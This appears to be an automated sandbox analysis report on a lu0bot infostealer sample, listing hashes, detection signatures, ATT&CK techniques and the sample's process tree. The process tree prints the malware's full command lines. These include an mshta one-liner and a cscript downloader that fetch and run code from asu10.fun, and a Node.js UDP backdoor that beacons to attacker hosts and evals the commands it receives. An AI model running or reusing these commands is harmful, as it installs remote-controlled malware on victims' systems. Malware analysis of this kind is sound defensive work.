lu0bot | 4c31eccb460bef397e6100e1ecd85c3a2b823b893a9a9add4bb83fde8f9b122b

Analysis

max time kernel
149s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
19-08-2021 20:12

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General

Target

usfive_20210819-215421.exe
Size

2KB
MD5

3e06325ec38f23fd8f26216641963d44
SHA1

ebbc18e69b89136ca4ea7cbd2bcd801aa4fbfb73
SHA256

4c31eccb460bef397e6100e1ecd85c3a2b823b893a9a9add4bb83fde8f9b122b
SHA512

f2e6fbcfca6733b9b7aac9f5bd3c41899dd1a6b3a1ee9caff1bc3274c307fc84565e74b88af87e107507ba813e2994d943fca8b2cdee15348567fa0720e238f2

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1112	mshta.exe
9	2512	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3852	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1624	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3824	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1532	ipconfig.exe
4080	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3536	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\eb0db000a575e76b:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:36996f0ba04e0c3bb5357d64f76a3dc0	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3852	node.exe
3852	node.exe
3852	node.exe
3852	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1432	wmic.exe
Token: SeSecurityPrivilege	1432	wmic.exe
Token: SeTakeOwnershipPrivilege	1432	wmic.exe
Token: SeLoadDriverPrivilege	1432	wmic.exe
Token: SeSystemProfilePrivilege	1432	wmic.exe
Token: SeSystemtimePrivilege	1432	wmic.exe
Token: SeProfSingleProcessPrivilege	1432	wmic.exe
Token: SeIncBasePriorityPrivilege	1432	wmic.exe
Token: SeCreatePagefilePrivilege	1432	wmic.exe
Token: SeBackupPrivilege	1432	wmic.exe
Token: SeRestorePrivilege	1432	wmic.exe
Token: SeShutdownPrivilege	1432	wmic.exe
Token: SeDebugPrivilege	1432	wmic.exe
Token: SeSystemEnvironmentPrivilege	1432	wmic.exe
Token: SeRemoteShutdownPrivilege	1432	wmic.exe
Token: SeUndockPrivilege	1432	wmic.exe
Token: SeManageVolumePrivilege	1432	wmic.exe
Token: 33	1432	wmic.exe
Token: 34	1432	wmic.exe
Token: 35	1432	wmic.exe
Token: 36	1432	wmic.exe
Token: SeIncreaseQuotaPrivilege	1432	wmic.exe
Token: SeSecurityPrivilege	1432	wmic.exe
Token: SeTakeOwnershipPrivilege	1432	wmic.exe
Token: SeLoadDriverPrivilege	1432	wmic.exe
Token: SeSystemProfilePrivilege	1432	wmic.exe
Token: SeSystemtimePrivilege	1432	wmic.exe
Token: SeProfSingleProcessPrivilege	1432	wmic.exe
Token: SeIncBasePriorityPrivilege	1432	wmic.exe
Token: SeCreatePagefilePrivilege	1432	wmic.exe
Token: SeBackupPrivilege	1432	wmic.exe
Token: SeRestorePrivilege	1432	wmic.exe
Token: SeShutdownPrivilege	1432	wmic.exe
Token: SeDebugPrivilege	1432	wmic.exe
Token: SeSystemEnvironmentPrivilege	1432	wmic.exe
Token: SeRemoteShutdownPrivilege	1432	wmic.exe
Token: SeUndockPrivilege	1432	wmic.exe
Token: SeManageVolumePrivilege	1432	wmic.exe
Token: 33	1432	wmic.exe
Token: 34	1432	wmic.exe
Token: 35	1432	wmic.exe
Token: 36	1432	wmic.exe
Token: SeDebugPrivilege	4080	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 1112	1972	usfive_20210819-215421.exe	74
PID 1972 wrote to memory of 1112	1972	usfive_20210819-215421.exe	74
PID 1972 wrote to memory of 1112	1972	usfive_20210819-215421.exe	74
PID 1112 wrote to memory of 2728	1112	mshta.exe	77
PID 1112 wrote to memory of 2728	1112	mshta.exe	77
PID 1112 wrote to memory of 2728	1112	mshta.exe	77
PID 2728 wrote to memory of 2512	2728	cmd.exe	79
PID 2728 wrote to memory of 2512	2728	cmd.exe	79
PID 2728 wrote to memory of 2512	2728	cmd.exe	79
PID 2728 wrote to memory of 1432	2728	cmd.exe	80
PID 2728 wrote to memory of 1432	2728	cmd.exe	80
PID 2728 wrote to memory of 1432	2728	cmd.exe	80
PID 2728 wrote to memory of 2356	2728	cmd.exe	81
PID 2728 wrote to memory of 2356	2728	cmd.exe	81
PID 2728 wrote to memory of 2356	2728	cmd.exe	81
PID 2356 wrote to memory of 3852	2356	cscript.exe	82
PID 2356 wrote to memory of 3852	2356	cscript.exe	82
PID 2356 wrote to memory of 3852	2356	cscript.exe	82
PID 3852 wrote to memory of 1444	3852	node.exe	86
PID 3852 wrote to memory of 1444	3852	node.exe	86
PID 3852 wrote to memory of 1444	3852	node.exe	86
PID 3852 wrote to memory of 1512	3852	node.exe	87
PID 3852 wrote to memory of 1512	3852	node.exe	87
PID 3852 wrote to memory of 1512	3852	node.exe	87
PID 3852 wrote to memory of 1624	3852	node.exe	88
PID 3852 wrote to memory of 1624	3852	node.exe	88
PID 3852 wrote to memory of 1624	3852	node.exe	88
PID 3852 wrote to memory of 2712	3852	node.exe	89
PID 3852 wrote to memory of 2712	3852	node.exe	89
PID 3852 wrote to memory of 2712	3852	node.exe	89
PID 3852 wrote to memory of 2316	3852	node.exe	90
PID 3852 wrote to memory of 2316	3852	node.exe	90
PID 3852 wrote to memory of 2316	3852	node.exe	90
PID 3852 wrote to memory of 3824	3852	node.exe	92
PID 3852 wrote to memory of 3824	3852	node.exe	92
PID 3852 wrote to memory of 3824	3852	node.exe	92
PID 3852 wrote to memory of 1432	3852	node.exe	94
PID 3852 wrote to memory of 1432	3852	node.exe	94
PID 3852 wrote to memory of 1432	3852	node.exe	94
PID 3852 wrote to memory of 1532	3852	node.exe	95
PID 3852 wrote to memory of 1532	3852	node.exe	95
PID 3852 wrote to memory of 1532	3852	node.exe	95
PID 3852 wrote to memory of 4004	3852	node.exe	96
PID 3852 wrote to memory of 4004	3852	node.exe	96
PID 3852 wrote to memory of 4004	3852	node.exe	96
PID 3852 wrote to memory of 4080	3852	node.exe	97
PID 3852 wrote to memory of 4080	3852	node.exe	97
PID 3852 wrote to memory of 4080	3852	node.exe	97
PID 3852 wrote to memory of 3536	3852	node.exe	98
PID 3852 wrote to memory of 3536	3852	node.exe	98
PID 3852 wrote to memory of 3536	3852	node.exe	98

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2712	attrib.exe
2316	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();29;y=unescape('%320%35%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%322%30').split('~');43;try{x='WinHttp';190;x=new ActiveXObject(x+'.'+x+'Request.5.1');163;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);170;x.send();87;y='ipt.S';130;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};246;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1629403940194.txt & cscript /nologo /e:jscript get1629403940194.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F22f8d5923%26b%3D8be2a8e2" node.cab & expand node.cab node.exe & del get1629403940194.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1629403940194.txt & cscript /nologo /e:jscript get1629403940194.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1629403940194.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1629403940194.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F22f8d5923%26b%3D8be2a8e2" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2512
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:1432
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1629403940194.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2356
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3852
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:1444
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:1512
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:1624
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2712
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2316
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3824
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1432
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1532
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:4004
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:4080
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3852-130-0x0000000027100000-0x0000000027101000-memory.dmp

Filesize
4KB

Download
memory/3852-127-0x000000003D800000-0x000000003D801000-memory.dmp

Filesize
4KB

Download
memory/3852-125-0x000000003C100000-0x000000003C101000-memory.dmp

Filesize
4KB

Download
memory/3852-126-0x000000000DF00000-0x000000000DF01000-memory.dmp

Filesize
4KB

Download
memory/3852-129-0x000000000C400000-0x000000000C401000-memory.dmp

Filesize
4KB

Download
memory/3852-128-0x0000000005B00000-0x0000000005B01000-memory.dmp

Filesize
4KB

Download